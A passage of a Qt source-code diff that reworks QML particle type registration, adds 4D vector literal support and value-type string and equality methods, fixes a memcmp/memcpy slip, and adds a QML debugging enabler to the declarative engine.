#include "qsgellipseextruder_p.h"
-#include "qsgemitter_p.h"
#include "qsgfollowemitter_p.h"
#include "qsgfriction_p.h"
#include "qsggravity_p.h"
@@ -67,20 +66,12 @@
#include "qsgwander_p.h"
#include "qsgtargetaffector_p.h"
#include "qsgcumulativedirection_p.h"
-#include "qsgcustomemitter_p.h"
-#include "qsgcustomaffector_p.h"
QT_BEGIN_NAMESPACE
void QSGParticlesModule::defineModule()
{
const char* uri = "QtQuick.Particles";
- //Debugging only exposition
- qmlRegisterType<QSGParticlePainter>(uri, 2, 0, "ParticlePainter");
- qmlRegisterType<QSGParticleEmitter>(uri, 2, 0, "ParticleEmitter");
- qmlRegisterType<QSGParticleExtruder>(uri, 2, 0, "ParticleExtruder");
- qmlRegisterType<QSGStochasticDirection>(uri, 2, 0, "NullVector");
- //Probably should be nocreate types
qmlRegisterType<QSGParticleSystem>(uri, 2, 0, "ParticleSystem");
@@ -89,8 +80,7 @@ void QSGParticlesModule::defineModule()
qmlRegisterType<QSGItemParticle>(uri, 2, 0, "ItemParticle");
qmlRegisterType<QSGModelParticle>(uri, 2, 0, "ModelParticle");
- qmlRegisterType<QSGBasicEmitter>(uri, 2, 0, "Emitter");//TODO: Rename BasicEmitter?
- qmlRegisterType<QSGCustomEmitter>(uri, 2, 0, "CustomEmitter");
+ qmlRegisterType<QSGParticleEmitter>(uri, 2, 0, "Emitter");
qmlRegisterType<QSGFollowEmitter>(uri, 2, 0, "FollowEmitter");
qmlRegisterType<QSGEllipseExtruder>(uri, 2, 0, "EllipseShape");
@@ -103,7 +93,6 @@ void QSGParticlesModule::defineModule()
qmlRegisterType<QSGCumulativeDirection>(uri, 2, 0, "CumulativeDirection");
qmlRegisterType<QSGParticleAffector>(uri, 2, 0, "Affector");//useful for the triggered signal
- qmlRegisterType<QSGCustomAffector>(uri, 2, 0, "CustomAffector");
qmlRegisterType<QSGWanderAffector>(uri, 2, 0, "Wander");
qmlRegisterType<QSGFrictionAffector>(uri, 2, 0, "Friction");
qmlRegisterType<QSGPointAttractorAffector>(uri, 2, 0, "PointAttractor");
@@ -112,6 +101,11 @@ void QSGParticlesModule::defineModule()
qmlRegisterType<QSGSpriteGoalAffector>(uri, 2, 0, "SpriteGoal");
qmlRegisterType<QSGTurbulenceAffector>(uri, 2, 0 , "Turbulence");
qmlRegisterType<QSGTargetAffector>(uri, 2, 0 , "Target");
+
+ //Exposed just for completeness
+ qmlRegisterType<QSGParticlePainter>(uri, 2, 0, "ParticlePainter");
+ qmlRegisterType<QSGParticleExtruder>(uri, 2, 0, "ParticleExtruder");
+ qmlRegisterType<QSGStochasticDirection>(uri, 2, 0, "NullVector");
}
QT_END_NAMESPACE
diff --git a/src/declarative/particles/qsgparticlesystem.cpp b/src/declarative/particles/qsgparticlesystem.cpp
index f48156315c..efd6c22bd9 100644
--- a/src/declarative/particles/qsgparticlesystem.cpp
+++ b/src/declarative/particles/qsgparticlesystem.cpp
@@ -57,7 +57,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass ParticleSystem QSGParticleSystem
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\brief The ParticleSystem brings together ParticlePainter, Emitter and Affector elements.
*/
@@ -478,7 +477,7 @@ float QSGParticleData::curSize()
{
if (!system || !lifeSpan)
return 0.0f;
- return size + (endSize - size) * (lifeLeft() / lifeSpan);
+ return size + (endSize - size) * (1 - (lifeLeft() / lifeSpan));
}
float QSGParticleData::lifeLeft()
diff --git a/src/declarative/particles/qsgpointattractor.cpp b/src/declarative/particles/qsgpointattractor.cpp
index cc4cac66a4..1a3c3c25c5 100644
--- a/src/declarative/particles/qsgpointattractor.cpp
+++ b/src/declarative/particles/qsgpointattractor.cpp
@@ -46,7 +46,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass PointAttractor QSGPointAttractorAffector
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits Affector
\brief The PointAttractor allows you to attract particles towards a specific point.
diff --git a/src/declarative/particles/qsgpointattractor_p.h b/src/declarative/particles/qsgpointattractor_p.h
index 932a3081d6..95716483ed 100644
--- a/src/declarative/particles/qsgpointattractor_p.h
+++ b/src/declarative/particles/qsgpointattractor_p.h
@@ -55,7 +55,7 @@ class QSGPointAttractorAffector : public QSGParticleAffector
//Like Gravitational singularity, but linear to distance instead of quadratic
//And affects ds/dt, not da/dt
Q_PROPERTY(qreal strength READ strength WRITE setStrength NOTIFY strengthChanged)
- Q_PROPERTY(qreal x READ x WRITE setX NOTIFY xChanged)
+ Q_PROPERTY(qreal x READ x WRITE setX NOTIFY xChanged)//TODO: Change to pointX, pointY
Q_PROPERTY(qreal y READ y WRITE setY NOTIFY yChanged)
Q_PROPERTY(PhysicsAffects physics READ physics WRITE setPhysics NOTIFY physicsChanged)
Q_PROPERTY(Proportion proportionalToDistance READ proportionalToDistance WRITE setProportionalToDistance NOTIFY proportionalToDistanceChanged)
diff --git a/src/declarative/particles/qsgpointdirection.cpp b/src/declarative/particles/qsgpointdirection.cpp
index 0448ac9a7e..7cc0823eec 100644
--- a/src/declarative/particles/qsgpointdirection.cpp
+++ b/src/declarative/particles/qsgpointdirection.cpp
@@ -46,7 +46,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass PointDirection QSGPointDirection
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits StochasticDirection
\brief The PointDirection element allows you to specify a direction that varies in x and y components
diff --git a/src/declarative/particles/qsgspritegoal.cpp b/src/declarative/particles/qsgspritegoal.cpp
index 79fcf8188c..1837167813 100644
--- a/src/declarative/particles/qsgspritegoal.cpp
+++ b/src/declarative/particles/qsgspritegoal.cpp
@@ -50,7 +50,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass SpriteGoal QSGSpriteGoalAffector
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits Affector
\brief The SpriteGoal Affector allows you to change the state of a sprite or group of a particle.
diff --git a/src/declarative/particles/qsgstochasticdirection.cpp b/src/declarative/particles/qsgstochasticdirection.cpp
index f44b941578..cdbc9f15ad 100644
--- a/src/declarative/particles/qsgstochasticdirection.cpp
+++ b/src/declarative/particles/qsgstochasticdirection.cpp
@@ -45,7 +45,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass StochasticDirection QSGStochasticDirection
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\brief The StochasticDirection elements allow you to specify a vector space.
*/
diff --git a/src/declarative/particles/qsgtargeteddirection.cpp b/src/declarative/particles/qsgtargeteddirection.cpp
index 3e5d3e1628..696cdfa915 100644
--- a/src/declarative/particles/qsgtargeteddirection.cpp
+++ b/src/declarative/particles/qsgtargeteddirection.cpp
@@ -48,7 +48,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass TargetedDirection QSGTargetedDirection
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits StochasticDirection
\brief The TargetedDirection element allows you to specify a direction towards the target point
diff --git a/src/declarative/particles/qsgturbulence.cpp b/src/declarative/particles/qsgturbulence.cpp
index e9812d7825..003f3c12b6 100644
--- a/src/declarative/particles/qsgturbulence.cpp
+++ b/src/declarative/particles/qsgturbulence.cpp
@@ -49,7 +49,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass Turbulence QSGTurbulenceAffector
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits Affector
\brief The TurbulenceAffector is a bit of a hack and probably shouldn't be used yet.
diff --git a/src/declarative/particles/qsgwander.cpp b/src/declarative/particles/qsgwander.cpp
index 2d04d62eba..a4a4d2c9c5 100644
--- a/src/declarative/particles/qsgwander.cpp
+++ b/src/declarative/particles/qsgwander.cpp
@@ -45,7 +45,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass Wander QSGWanderAffector
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits Affector
\brief The Wander affector allows particles to randomly vary their trajectory.
diff --git a/src/declarative/qml/qdeclarative.h b/src/declarative/qml/qdeclarative.h
index 4c962f890e..311ecd31ca 100644
--- a/src/declarative/qml/qdeclarative.h
+++ b/src/declarative/qml/qdeclarative.h
@@ -550,6 +550,17 @@ inline int qmlRegisterModuleApi(const char *uri, int versionMajor, int versionMi
return QDeclarativePrivate::qmlregister(QDeclarativePrivate::ModuleApiRegistration, &api);
}
+// Enable debugging before any QDeclarativeEngine is created
+struct Q_DECLARATIVE_EXPORT QDeclarativeDebuggingEnabler
+{
+ QDeclarativeDebuggingEnabler();
+};
+
+// Execute code in constructor before first QDeclarativeEngine is instantiated
+#if defined(QT_DECLARATIVE_DEBUG)
+static QDeclarativeDebuggingEnabler qmlEnableDebuggingHelper;
+#endif
+
QT_END_NAMESPACE
QML_DECLARE_TYPE(QObject)
diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp
index 5e1d3f60a9..7cc8422ddd 100644
--- a/src/declarative/qml/qdeclarativecompiler.cpp
+++ b/src/declarative/qml/qdeclarativecompiler.cpp
@@ -312,6 +312,13 @@ bool QDeclarativeCompiler::testLiteralAssignment(const QMetaProperty &prop,
if (!ok) COMPILE_EXCEPTION(v, tr("Invalid property assignment: 3D vector expected"));
}
break;
+ case QVariant::Vector4D:
+ {
+ bool ok;
+ QDeclarativeStringConverters::vector4DFromString(string, &ok);
+ if (!ok) COMPILE_EXCEPTION(v, tr("Invalid property assignment: 4D vector expected"));
+ }
+ break;
default:
{
int t = prop.userType();
@@ -467,7 +474,7 @@ void QDeclarativeCompiler::genLiteralAssignment(const QMetaProperty &prop,
instr.storeDateTime.propertyIndex = prop.propertyIndex();
instr.storeDateTime.date = dateTime.date().toJulianDay();
Q_ASSERT(sizeof(instr.storeDateTime.time) == sizeof(QTime));
- ::memcmp(&instr.storeDateTime.time, &time, sizeof(QTime));
+ ::memcpy(&instr.storeDateTime.time, &time, sizeof(QTime));
}
break;
#endif // QT_NO_DATESTRING
@@ -554,6 +561,18 @@ void QDeclarativeCompiler::genLiteralAssignment(const QMetaProperty &prop,
instr.storeVector3D.vector.zp = vector.z();
}
break;
+ case QVariant::Vector4D:
+ {
+ bool ok;
+ QVector4D vector = QDeclarativeStringConverters::vector4DFromString(string, &ok);
+ instr.setType(QDeclarativeInstruction::StoreVector4D);
+ instr.storeVector4D.propertyIndex = prop.propertyIndex();
+ instr.storeVector4D.vector.xp = vector.x();
+ instr.storeVector4D.vector.yp = vector.y();
+ instr.storeVector4D.vector.zp = vector.z();
+ instr.storeVector4D.vector.wp = vector.w();
+ }
+ break;
default:
{
int t = prop.userType();
@@ -856,6 +875,9 @@ bool QDeclarativeCompiler::buildObject(QDeclarativeParser::Object *obj, const Bi
int ids = compileState.ids.count();
COMPILE_CHECK(buildProperty(prop, obj, objCtxt));
canDefer = ids == compileState.ids.count();
+ } else if (isSignalPropertyName(prop->name) &&
+ (cp->flags() & QDeclarativeCustomParser::AcceptsSignalHandlers)) {
+ COMPILE_CHECK(buildSignal(prop,obj,objCtxt));
} else {
customProps << QDeclarativeCustomParserNodePrivate::fromProperty(prop);
}
@@ -2378,25 +2400,27 @@ bool QDeclarativeCompiler::checkDynamicMeta(QDeclarativeParser::Object *obj)
}
for (int ii = 0; ii < obj->dynamicSignals.count(); ++ii) {
- QByteArray name = obj->dynamicSignals.at(ii).name;
+ const QDeclarativeParser::Object::DynamicSignal &currSig = obj->dynamicSignals.at(ii);
+ QByteArray name = currSig.name;
if (methodNames.contains(name))
- COMPILE_EXCEPTION(obj, tr("Duplicate signal name"));
+ COMPILE_EXCEPTION(&currSig, tr("Duplicate signal name"));
QString nameStr = QString::fromUtf8(name);
if (nameStr.at(0).isUpper())
- COMPILE_EXCEPTION(obj, tr("Signal names cannot begin with an upper case letter"));
+ COMPILE_EXCEPTION(&currSig, tr("Signal names cannot begin with an upper case letter"));
if (enginePrivate->v8engine()->illegalNames().contains(nameStr))
- COMPILE_EXCEPTION(obj, tr("Illegal signal name"));
+ COMPILE_EXCEPTION(&currSig, tr("Illegal signal name"));
methodNames.insert(name);
}
for (int ii = 0; ii < obj->dynamicSlots.count(); ++ii) {
- QByteArray name = obj->dynamicSlots.at(ii).name;
+ const QDeclarativeParser::Object::DynamicSlot &currSlot = obj->dynamicSlots.at(ii);
+ QByteArray name = currSlot.name;
if (methodNames.contains(name))
- COMPILE_EXCEPTION(obj, tr("Duplicate method name"));
+ COMPILE_EXCEPTION(&currSlot, tr("Duplicate method name"));
QString nameStr = QString::fromUtf8(name);
if (nameStr.at(0).isUpper())
- COMPILE_EXCEPTION(obj, tr("Method names cannot begin with an upper case letter"));
+ COMPILE_EXCEPTION(&currSlot, tr("Method names cannot begin with an upper case letter"));
if (enginePrivate->v8engine()->illegalNames().contains(nameStr))
- COMPILE_EXCEPTION(obj, tr("Illegal method name"));
+ COMPILE_EXCEPTION(&currSlot, tr("Illegal method name"));
methodNames.insert(name);
}
@@ -2747,6 +2771,7 @@ bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
int propIdx = -1;
int flags = 0;
bool writable = false;
+ bool resettable = false;
if (alias.count() == 2 || alias.count() == 3) {
propIdx = indexOfProperty(idObject, alias.at(1).toUtf8());
@@ -2761,6 +2786,7 @@ bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias location"));
writable = aliasProperty.isWritable();
+ resettable = aliasProperty.isResettable();
if (alias.count() == 3) {
QDeclarativeValueType *valueType = enginePrivate->valueTypes[aliasProperty.type()];
@@ -2805,6 +2831,7 @@ bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
QMetaPropertyBuilder propBuilder =
builder.addProperty(prop.name, typeName.constData(), builder.methodCount() - 1);
propBuilder.setWritable(writable);
+ propBuilder.setResettable(resettable);
return true;
}
diff --git a/src/declarative/qml/qdeclarativecustomparser_p.h b/src/declarative/qml/qdeclarativecustomparser_p.h
index ab66b9fcdc..31452836bd 100644
--- a/src/declarative/qml/qdeclarativecustomparser_p.h
+++ b/src/declarative/qml/qdeclarativecustomparser_p.h
@@ -116,7 +116,8 @@ class Q_DECLARATIVE_EXPORT QDeclarativeCustomParser
public:
enum Flag {
NoFlag = 0x00000000,
- AcceptsAttachedProperties = 0x00000001
+ AcceptsAttachedProperties = 0x00000001,
+ AcceptsSignalHandlers = 0x00000002
};
Q_DECLARE_FLAGS(Flags, Flag)
diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp
index 4781264bde..1906612e8a 100644
--- a/src/declarative/qml/qdeclarativeengine.cpp
+++ b/src/declarative/qml/qdeclarativeengine.cpp
@@ -67,7 +67,7 @@
#include "private/qdeclarativenotifier_p.h"
#include "private/qdeclarativedebugtrace_p.h"
#include "private/qdeclarativeapplication_p.h"
-#include "private/qjsdebugservice_p.h"
+#include "private/qv8debugservice_p.h"
#include <QtCore/qmetaobject.h>
#include <QNetworkReply>
@@ -175,12 +175,6 @@ void qmlRegisterBaseTypes(const char *uri, int versionMajor, int versionMinor)
\endcode
*/
-struct StaticQtMetaObject : public QObject
-{
- static const QMetaObject *get()
- { return &static_cast<StaticQtMetaObject*> (0)->staticQtMetaObject; }
-};
-
static bool qt_QmlQtModule_registered = false;
bool QDeclarativeEnginePrivate::qml_debugging_enabled = false;
@@ -457,7 +451,7 @@ void QDeclarativeEnginePrivate::init()
QDeclarativeEngineDebugServer::isDebuggingEnabled()) {
isDebugging = true;
QDeclarativeEngineDebugServer::instance()->addEngine(q);
- QJSDebugService::instance()->addEngine(q);
+ QV8DebugService::instance()->addEngine(q);
}
}
@@ -992,6 +986,17 @@ QObject *qmlAttachedPropertiesObject(int *idCache, const QObject *object,
return qmlAttachedPropertiesObjectById(*idCache, object, create);
}
+QDeclarativeDebuggingEnabler::QDeclarativeDebuggingEnabler()
+{
+#ifndef QDECLARATIVE_NO_DEBUG_PROTOCOL
+ if (!QDeclarativeEnginePrivate::qml_debugging_enabled) {
+ qWarning("Qml debugging is enabled. Only use this in a safe environment!");
+ }
+ QDeclarativeEnginePrivate::qml_debugging_enabled = true;
+#endif
+}
+
+
class QDeclarativeDataExtended {
public:
QDeclarativeDataExtended();
diff --git a/src/declarative/qml/qdeclarativeinstruction.cpp b/src/declarative/qml/qdeclarativeinstruction.cpp
index f99351bde5..f5bd6e915a 100644
--- a/src/declarative/qml/qdeclarativeinstruction.cpp
+++ b/src/declarative/qml/qdeclarativeinstruction.cpp
@@ -132,6 +132,9 @@ void QDeclarativeCompiledData::dump(QDeclarativeInstruction *instr, int idx)
case QDeclarativeInstruction::StoreVector3D:
qWarning().nospace() << idx << "\t\t" << "STORE_VECTOR3D\t\t" << instr->storeVector3D.propertyIndex << "\t" << instr->storeVector3D.vector.xp << "\t" << instr->storeVector3D.vector.yp << "\t" << instr->storeVector3D.vector.zp;
break;
+ case QDeclarativeInstruction::StoreVector4D:
+ qWarning().nospace() << idx << "\t\t" << "STORE_VECTOR4D\t\t" << instr->storeVector4D.propertyIndex << "\t" << instr->storeVector4D.vector.xp << "\t" << instr->storeVector4D.vector.yp << "\t" << instr->storeVector4D.vector.zp << "\t" << instr->storeVector4D.vector.wp;
+ break;
case QDeclarativeInstruction::StoreVariant:
qWarning().nospace() << idx << "\t\t" << "STORE_VARIANT\t\t" << instr->storeString.propertyIndex << "\t" << instr->storeString.value << "\t\t" << primitives.at(instr->storeString.value);
break;
diff --git a/src/declarative/qml/qdeclarativeinstruction_p.h b/src/declarative/qml/qdeclarativeinstruction_p.h
index a48c44c32e..f98002766a 100644
--- a/src/declarative/qml/qdeclarativeinstruction_p.h
+++ b/src/declarative/qml/qdeclarativeinstruction_p.h
@@ -88,6 +88,7 @@ QT_BEGIN_NAMESPACE
F(StoreRect, storeRect) \
F(StoreRectF, storeRectF) \
F(StoreVector3D, storeVector3D) \
+ F(StoreVector4D, storeVector4D) \
F(StoreObject, storeObject) \
F(AssignCustomType, assignCustomType) \
F(AssignSignalObject, assignSignalObject) \
@@ -405,6 +406,16 @@ union QDeclarativeInstruction
float zp;
} vector;
};
+ struct instr_storeVector4D {
+ QML_INSTR_HEADER
+ int propertyIndex;
+ struct QVector4D {
+ float xp;
+ float yp;
+ float zp;
+ float wp;
+ } vector;
+ };
instr_common common;
instr_init init;
@@ -440,6 +451,7 @@ union QDeclarativeInstruction
instr_storeRect storeRect;
instr_storeRectF storeRectF;
instr_storeVector3D storeVector3D;
+ instr_storeVector4D storeVector4D;
instr_storeObject storeObject;
instr_assignCustomType assignCustomType;
instr_storeSignal storeSignal;
diff --git a/src/declarative/qml/qdeclarativeparser.cpp b/src/declarative/qml/qdeclarativeparser.cpp
index 0447ea3227..a405022a71 100644
--- a/src/declarative/qml/qdeclarativeparser.cpp
+++ b/src/declarative/qml/qdeclarativeparser.cpp
@@ -191,7 +191,7 @@ QDeclarativeParser::Object::DynamicSignal::DynamicSignal()
QDeclarativeParser::Object::DynamicSignal::DynamicSignal(const DynamicSignal &o)
: name(o.name), parameterTypes(o.parameterTypes),
- parameterNames(o.parameterNames)
+ parameterNames(o.parameterNames), location(o.location)
{
}
diff --git a/src/declarative/qml/qdeclarativeparser_p.h b/src/declarative/qml/qdeclarativeparser_p.h
index 59c41ef8de..7080a8daee 100644
--- a/src/declarative/qml/qdeclarativeparser_p.h
+++ b/src/declarative/qml/qdeclarativeparser_p.h
@@ -212,6 +212,7 @@ namespace QDeclarativeParser
QByteArray name;
QList<QByteArray> parameterTypes;
QList<QByteArray> parameterNames;
+ LocationSpan location;
};
struct DynamicSlot {
DynamicSlot();
diff --git a/src/declarative/qml/qdeclarativeproperty.cpp b/src/declarative/qml/qdeclarativeproperty.cpp
index 98c758267d..3406109a28 100644
--- a/src/declarative/qml/qdeclarativeproperty.cpp
+++ b/src/declarative/qml/qdeclarativeproperty.cpp
@@ -399,7 +399,7 @@ const char *QDeclarativeProperty::propertyTypeName() const
return 0;
if (d->isValueType()) {
- QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(d->engine);
+ QDeclarativeEnginePrivate *ep = d->engine?QDeclarativeEnginePrivate::get(d->engine):0;
QDeclarativeValueType *valueType = 0;
if (ep) valueType = ep->valueTypes[d->core.propType];
else valueType = QDeclarativeValueTypeFactory::valueType(d->core.propType);
@@ -987,7 +987,7 @@ QVariant QDeclarativePropertyPrivate::readValueProperty()
{
if (isValueType()) {
- QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+ QDeclarativeEnginePrivate *ep = engine?QDeclarativeEnginePrivate::get(engine):0;
QDeclarativeValueType *valueType = 0;
if (ep) valueType = ep->valueTypes[core.propType];
else valueType = QDeclarativeValueTypeFactory::valueType(core.propType);
@@ -1072,7 +1072,7 @@ bool QDeclarativePropertyPrivate::writeValueProperty(const QVariant &value, Writ
bool rv = false;
if (isValueType()) {
- QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+ QDeclarativeEnginePrivate *ep = engine?QDeclarativeEnginePrivate::get(engine):0;
QDeclarativeValueType *writeBack = 0;
if (ep) {
diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp
index 3f843295d7..dcd12e287a 100644
--- a/src/declarative/qml/qdeclarativescriptparser.cpp
+++ b/src/declarative/qml/qdeclarativescriptparser.cpp
@@ -528,6 +528,7 @@ bool ProcessAST::visit(AST::UiPublicMember *node)
p = p->finish();
}
+ signal.location = location(node->typeToken, node->semicolonToken);
_stateStack.top().object->dynamicSignals << signal;
} else {
const QString memberType = node->memberType->asString();
diff --git a/src/declarative/qml/qdeclarativestringconverters.cpp b/src/declarative/qml/qdeclarativestringconverters.cpp
index d7cfe2eca3..b949adf5ec 100644
--- a/src/declarative/qml/qdeclarativestringconverters.cpp
+++ b/src/declarative/qml/qdeclarativestringconverters.cpp
@@ -43,6 +43,7 @@
#include <QtGui/qcolor.h>
#include <QtGui/qvector3d.h>
+#include <QtGui/qvector4d.h>
#include <QtCore/qpoint.h>
#include <QtCore/qrect.h>
#include <QtCore/qsize.h>
@@ -93,6 +94,8 @@ QVariant QDeclarativeStringConverters::variantFromString(const QString &s)
if (ok) return QVariant(sz);
QVector3D v = vector3DFromString(s, &ok);
if (ok) return QVariant::fromValue(v);
+ QVector4D v4 = vector4DFromString(s, &ok);
+ if (ok) return QVariant::fromValue(v4);
return QVariant(s);
}
@@ -128,6 +131,8 @@ QVariant QDeclarativeStringConverters::variantFromString(const QString &s, int p
return QVariant::fromValue(rectFFromString(s, ok).toRect());
case QMetaType::QVector3D:
return QVariant::fromValue(vector3DFromString(s, ok));
+ case QMetaType::QVector4D:
+ return QVariant::fromValue(vector4DFromString(s, ok));
default:
if (ok) *ok = false;
return QVariant();
@@ -275,4 +280,32 @@ QVector3D QDeclarativeStringConverters::vector3DFromString(const QString &s, boo
return QVector3D(xCoord, yCoord, zCoord);
}
+//expects input of "x,y,z,w"
+QVector4D QDeclarativeStringConverters::vector4DFromString(const QString &s, bool *ok)
+{
+ if (s.count(QLatin1Char(',')) != 3) {
+ if (ok)
+ *ok = false;
+ return QVector4D();
+ }
+
+ bool xGood, yGood, zGood, wGood;
+ int index = s.indexOf(QLatin1Char(','));
+ int index2 = s.indexOf(QLatin1Char(','), index+1);
+ int index3 = s.indexOf(QLatin1Char(','), index2+1);
+ qreal xCoord = s.left(index).toDouble(&xGood);
+ qreal yCoord = s.mid(index+1, index2-index-1).toDouble(&yGood);
+ qreal zCoord = s.mid(index2+1, index3-index2-1).toDouble(&zGood);
+ qreal wCoord = s.mid(index3+1).toDouble(&wGood);
+ if (!xGood || !yGood || !zGood || !wGood) {
+ if (ok)
+ *ok = false;
+ return QVector4D();
+ }
+
+ if (ok)
+ *ok = true;
+ return QVector4D(xCoord, yCoord, zCoord, wCoord);
+}
+
QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativestringconverters_p.h b/src/declarative/qml/qdeclarativestringconverters_p.h
index a8c63595fc..2f93cd72f9 100644
--- a/src/declarative/qml/qdeclarativestringconverters_p.h
+++ b/src/declarative/qml/qdeclarativestringconverters_p.h
@@ -67,6 +67,7 @@ class QRectF;
class QString;
class QByteArray;
class QVector3D;
+class QVector4D;
// XXX - Bauhaus currently uses these methods which is why they're exported
namespace QDeclarativeStringConverters
@@ -84,6 +85,7 @@ namespace QDeclarativeStringConverters
QSizeF Q_DECLARATIVE_PRIVATE_EXPORT sizeFFromString(const QString &, bool *ok = 0);
QRectF Q_DECLARATIVE_PRIVATE_EXPORT rectFFromString(const QString &, bool *ok = 0);
QVector3D Q_DECLARATIVE_PRIVATE_EXPORT vector3DFromString(const QString &, bool *ok = 0);
+ QVector4D Q_DECLARATIVE_PRIVATE_EXPORT vector4DFromString(const QString &, bool *ok = 0);
}
QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativevaluetype.cpp b/src/declarative/qml/qdeclarativevaluetype.cpp
index 7f77388516..3e77f4b503 100644
--- a/src/declarative/qml/qdeclarativevaluetype.cpp
+++ b/src/declarative/qml/qdeclarativevaluetype.cpp
@@ -152,6 +152,9 @@ QDeclarativeValueType *QDeclarativeValueTypeFactory::valueType(int t)
case QVariant::Font:
rv = new QDeclarativeFontValueType;
break;
+ case QVariant::Color:
+ rv = new QDeclarativeColorValueType;
+ break;
default:
break;
}
@@ -193,6 +196,16 @@ void QDeclarativePointFValueType::setValue(QVariant value)
point = qvariant_cast<QPointF>(value);
}
+QString QDeclarativePointFValueType::toString() const
+{
+ return QString(QLatin1String("QPointF(%1, %2)")).arg(point.x()).arg(point.y());
+}
+
+bool QDeclarativePointFValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(point) == value);
+}
+
qreal QDeclarativePointFValueType::x() const
{
return point.x();
@@ -241,6 +254,16 @@ void QDeclarativePointValueType::setValue(QVariant value)
point = qvariant_cast<QPoint>(value);
}
+QString QDeclarativePointValueType::toString() const
+{
+ return QString(QLatin1String("QPoint(%1, %2)")).arg(point.x()).arg(point.y());
+}
+
+bool QDeclarativePointValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(point) == value);
+}
+
int QDeclarativePointValueType::x() const
{
return point.x();
@@ -289,6 +312,16 @@ void QDeclarativeSizeFValueType::setValue(QVariant value)
size = qvariant_cast<QSizeF>(value);
}
+QString QDeclarativeSizeFValueType::toString() const
+{
+ return QString(QLatin1String("QSizeF(%1, %2)")).arg(size.width()).arg(size.height());
+}
+
+bool QDeclarativeSizeFValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(size) == value);
+}
+
qreal QDeclarativeSizeFValueType::width() const
{
return size.width();
@@ -337,6 +370,16 @@ void QDeclarativeSizeValueType::setValue(QVariant value)
size = qvariant_cast<QSize>(value);
}
+QString QDeclarativeSizeValueType::toString() const
+{
+ return QString(QLatin1String("QSize(%1, %2)")).arg(size.width()).arg(size.height());
+}
+
+bool QDeclarativeSizeValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(size) == value);
+}
+
int QDeclarativeSizeValueType::width() const
{
return size.width();
@@ -385,6 +428,16 @@ void QDeclarativeRectFValueType::setValue(QVariant value)
rect = qvariant_cast<QRectF>(value);
}
+QString QDeclarativeRectFValueType::toString() const
+{
+ return QString(QLatin1String("QRectF(%1, %2, %3, %4)")).arg(rect.x()).arg(rect.y()).arg(rect.width()).arg(rect.height());
+}
+
+bool QDeclarativeRectFValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(rect) == value);
+}
+
qreal QDeclarativeRectFValueType::x() const
{
return rect.x();
@@ -453,6 +506,16 @@ void QDeclarativeRectValueType::setValue(QVariant value)
rect = qvariant_cast<QRect>(value);
}
+QString QDeclarativeRectValueType::toString() const
+{
+ return QString(QLatin1String("QRect(%1, %2, %3, %4)")).arg(rect.x()).arg(rect.y()).arg(rect.width()).arg(rect.height());
+}
+
+bool QDeclarativeRectValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(rect) == value);
+}
+
int QDeclarativeRectValueType::x() const
{
return rect.x();
@@ -521,6 +584,16 @@ void QDeclarativeVector2DValueType::setValue(QVariant value)
vector = qvariant_cast<QVector2D>(value);
}
+QString QDeclarativeVector2DValueType::toString() const
+{
+ return QString(QLatin1String("QVector2D(%1, %2)")).arg(vector.x()).arg(vector.y());
+}
+
+bool QDeclarativeVector2DValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(vector) == value);
+}
+
qreal QDeclarativeVector2DValueType::x() const
{
return vector.x();
@@ -569,6 +642,16 @@ void QDeclarativeVector3DValueType::setValue(QVariant value)
vector = qvariant_cast<QVector3D>(value);
}
+QString QDeclarativeVector3DValueType::toString() const
+{
+ return QString(QLatin1String("QVector3D(%1, %2, %3)")).arg(vector.x()).arg(vector.y()).arg(vector.z());
+}
+
+bool QDeclarativeVector3DValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(vector) == value);
+}
+
qreal QDeclarativeVector3DValueType::x() const
{
return vector.x();
@@ -627,6 +710,16 @@ void QDeclarativeVector4DValueType::setValue(QVariant value)
vector = qvariant_cast<QVector4D>(value);
}
+QString QDeclarativeVector4DValueType::toString() const
+{
+ return QString(QLatin1String("QVector4D(%1, %2, %3, %4)")).arg(vector.x()).arg(vector.y()).arg(vector.z()).arg(vector.w());
+}
+
+bool QDeclarativeVector4DValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(vector) == value);
+}
+
qreal QDeclarativeVector4DValueType::x() const
{
return vector.x();
@@ -695,6 +788,16 @@ void QDeclarativeQuaternionValueType::setValue(QVariant value)
